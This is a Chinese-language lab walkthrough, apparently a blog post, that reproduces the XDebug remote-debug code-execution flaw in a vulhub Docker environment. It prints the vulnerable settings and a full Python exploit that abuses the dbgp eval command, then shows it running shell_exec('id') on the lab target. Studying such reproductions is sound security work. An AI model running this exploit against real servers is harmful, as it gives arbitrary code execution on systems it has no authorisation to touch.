XDebug 遠端除錯漏洞(程式碼執行)
阿新 • • 發佈:2020-12-28
宣告
好好學習,天天向上
漏洞描述
XDebug是PHP的一個擴充套件,用於除錯PHP程式碼。如果目標開啟了遠端除錯模式,並設定remote_connect_back = 1:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
這個配置下,我們訪問http://target/index.php?XDEBUG_SESSION_START=phpstorm,目標伺服器的XDebug將會連線訪問者的IP(或X-Forwarded-For頭指定的地址)並通過dbgp協議與其通訊,我們通過dbgp中提供的eval方法即可在目標伺服器上執行任意PHP程式碼。
影響範圍
無
復現過程
這裡使用2.5.5版本
使用vulhub
/app/vulhub-master/php/xdebug-rce
使用docker啟動
docker-compose build
docker-compose up -d
環境啟動後,訪問
http://192.168.239.129:8080
上exp.py,內容如下
#!/usr/bin/env python3 import re import sys import time import requests import argparse import socket import base64 import binascii from concurrent.futures import ThreadPoolExecutor pool = ThreadPoolExecutor(1) session = requests.session() session.headers = { 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' } def recv_xml(sock): blocks = [] data = b'' while True: try: data = data + sock.recv(1024) except socket.error as e: break if not data: break while data: eop = data.find(b'\x00') if eop < 0: break blocks.append(data[:eop]) data = data[eop+1:] if len(blocks) >= 4: break return blocks[3] def trigger(url): time.sleep(2) try: session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1) except: pass if __name__ == '__main__': parser = argparse.ArgumentParser(description='XDebug remote debug code execution.') parser.add_argument('-c', '--code', required=True, help='the code you want to execute.') parser.add_argument('-t', '--target', required=True, help='target url.') parser.add_argument('-l', '--listen', default=9000, type=int, help='local port') args = parser.parse_args() ip_port = ('0.0.0.0', args.listen) sk = socket.socket() sk.settimeout(10) sk.bind(ip_port) sk.listen(5) pool.submit(trigger, args.target) conn, addr = sk.accept() conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00'])) data = recv_xml(conn) print('[+] Recieve data: ' + data.decode()) g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I) if not g: print('[-] No result...') sys.exit(0) data = g.group(1) try: print('[+] Result: ' + base64.b64decode(data).decode()) except binascii.Error: print('[-] May be not string result...')
安裝環境
# 要求用python3並安裝requests庫
直接執行,IP自行修改
python3 exp.py -t http://192.168.239.129:8080/index.php -c 'shell_exec('id');'
關閉映象(每次用完後關閉)
docker-compose down
docker-compose常用命令
拉映象(進入到vulhub某個具體目錄後)
docker-compose build
docker-compose up -d
映象查詢(查到的第一列就是ID值)
docker ps -a
進入指定映象裡面(根據上一條查出的ID進入)
docker exec -it ID /bin/bash
關閉映象(每次用完後關閉)
docker-compose down